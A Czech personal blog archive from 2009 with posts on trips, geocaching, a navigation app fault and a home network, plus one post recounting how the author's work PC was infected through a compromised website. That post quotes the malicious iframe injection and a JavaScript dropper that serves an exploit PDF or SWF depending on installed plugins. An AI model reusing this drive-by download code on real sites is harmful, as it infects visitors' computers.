Ať nekešují, když to neumí!

Vrátili jsme se z částečně kešovací dovolené a tak jsem se rozhodl shrnout pár poznámek ke kačerům, kteří to nedělají správně.
Článek jsem nazval podle výroku Gilly8, který pronesla na základě mého rozčilování nad logováním u některých keší.

Read more 0 Comments : 09.08.2009

Na začátek léta

Začíná léto a nějak se zrovna dnes nedaří.

Včera jsem chytil svatební podvazek, takže jedna pozitivní věc na začátek. Svatba bude. :-)

Dnes ráno mi iGO 8 začalo hlásit své dvě oblíbené hlášky: Naposledy se nepodařilo nastartovat. Chcete smazat uživatelská data? – Ať odpovíte jakkoliv, pokračuje druhá hláška. – Databáze nenalezena, vložte originální SD kartu. Jak to řešit? Zkoušel jsem už leccos, ale stále netuším. Asi reklamací.

Jedna věc, která se ještě podařila včera – také na jaře – byl profil na geocachingu.

0 Comments : 21.06.2009

Londýnské metro

V poslední době jsem často potřeboval znát aktuální situaci v Londýnském metru, které je svou sítí poměrně rozsáhlé a stále tam probíhají nějaké úpravy, opravy a uzavírky.

Na hlavní stránce Londýnské dopravy (Transport for London) je aktuální situace linek metra přehledně zobrazena. Co je ještě zajímavější z technického hlediska je, že Londýnský dopravní podnik umožňuje export těchto dat prostřednictvím widgetů. Můžete si tak na svoje stránky nebo do svého profilu na iGoogle přidat následující zobrazení:

Další možnost je zobrazit si mapku linek:

0 Comments : 14.06.2009

Výlet do Benátek

Víkendový výlet do Benátek se nám velmi vydařil. Počasí bylo nádherné, což dokumentují i naše fotografie.

Dokumentace výletu ve Wiki – Benátky

0 Comments : 13.04.2009

Jak jsem chytil rootkit

Minulý čtvrtek jsem si zaviroval pracovní počítač. Myslel jsem si, že už mám aspoň trochu zkušeností a „že se mi něco takového přece nemůže stát“.

Než přišel lékař

Otevřel jsem si stránky o agroturistice, ve Firefoxu. Stránky mě přesměrovaly na jinou adresu, ale zobrazily se informace o agrofarmě. Vše se zdálo být v pořádku, až na jedinou věc. Zobrazilo se okno s chybou, kterou způsobil přehrávač Flashe. Nebylo to normální, ale teoreticky to ještě nemuselo nic zanamenat.

Bohužel znamenalo. Po nějaké době začal NOD32 hlásit přítomný spyware. Jeho umístění bylo ve Windows\System32 a název knihovny dll se jmenoval při každém hlášení jinak. Vždy ale připomínal název nějakého běžného ovladače. NOD soubor vždy smazal a za několik minut se objevila další varianta.

V té době již chodily zprávy našemu administrátorovi, který spustil na mém stroji kompletní test.

Já jsem jej spustil také, dokonce o něco dříve, takže nakonec sken proběhl dvakrát.

Černý pátek – prostě krize

V pátek jsem byl bez pracovní stanice a musel jsem se spokojit s notebookem. Využil jsem toho k nahlášení zdroje virové nákazy odboru bezpečnosti, který se postaral o komunikaci se správcem domény. Během krátké chvíle zdroj viru z nakažených stránek zmizel.

Kolega z odboru IKT mi mezitím odviroval počítač s bezpečným obnovením týdenní zálohy. Stal jsem se slavným, protože podobný zásah řešil již více než před dvěma měsíci.

A moje výzkumy viru?

S pomocí Ubuntu a Firefoxu s vypnutými skripty jsem odchytil techniku nakažení a nakonec i samotné jeho kódy.

Virus se do stránky připsal až za konec značky </html> v podobě <iframe>.

Statistiky návštěvnosti jsou důležité i pro viry

Zdroj iframe vedl do Číny. Na přesměrovací server, který navíc ještě měřil „návštěvnost“ podle konkrétního zdroje.

http://------.cn/in.cgi?income28

Pak server přesměruje návštěvníka na server, který mu poskytne vhodný „obsah“. Poskytnutí obsahu závisí na možnostech klienta. Kód je optimalizován na chybu Flashe i Acrobatu, což je docela nepříjemné.

JavaScript rozhodne

Musíme si ověřit, jestli má klient funkční Acrobat Reader. Pokud ano, podstrčíme mu PDF. Pokud ne, proč to nezkusit s Flashem? Máme i verzi SWF.

A zde už přichází slavný kód. Není jednoduchý?

<script>
function pdfswf()
{
	try
	{
		for(i = 0; i <= navigator.plugins.length; i++)
		{
			name = navigator.plugins[i].name;
			if((name.indexOf("Adobe Acrobat") != -1) || (name.indexOf("Adobe PDF") != -1))
			{
				document.write('<iframe src="cache/readme.pdf"></iframe>');
			}
			if(name.indexOf("Flash") != -1)
			{
				document.write('<iframe src="cache/flash.swf"></iframe>');
			}
		}
	}
	catch(e){}
}
pdfswf();
</script>

A co dodat na závěr?

Myslete na uživatele a nabídněte jim alternativu obsahu. Dokáží to i čínské viry.

0 Comments : 08.04.2009

Překopání sítě

síťNa domácím počítači jsme pokusně rozjeli své stránky. Aby byly dostupné z WAN, rozhodl jsem se překopat infrastrukturu lokální sítě.

Provedené změny:

  • na stolním počítači byl spuštěn WAMP
  • router prošel rekonfigurací (nejprve DMZ, pak přesměrování portů)
  • pro dostupnost stránek z lokální sítě spuštěn DNS server
  • router překonfigurován na použití místního kešovacího DNS serveru

Výsledkem celého snažení byla úprava sítě tak, že funguje domácí web server a je možné synchronizovat soubory pomocí SVN.

Z lokální sítě fungují všechny požadované služby a dokonce došlo k urychlení zpracování dotazů díky cachování DNS záznamů.

0 Comments : 05.04.2009

Výlet do Kodaně

Skvěle připravený a vydařený výlet do Kodaně.

Výlet Kodaň ve wiki

0 Comments : 02.03.2009

Vlakovýlet – Vlašim

Vlakovýlet do Vlašimi se nám vydařil.

wiki o vlakovýletu Vlašim – Trhový Štěpánov

0 Comments : 28.02.2009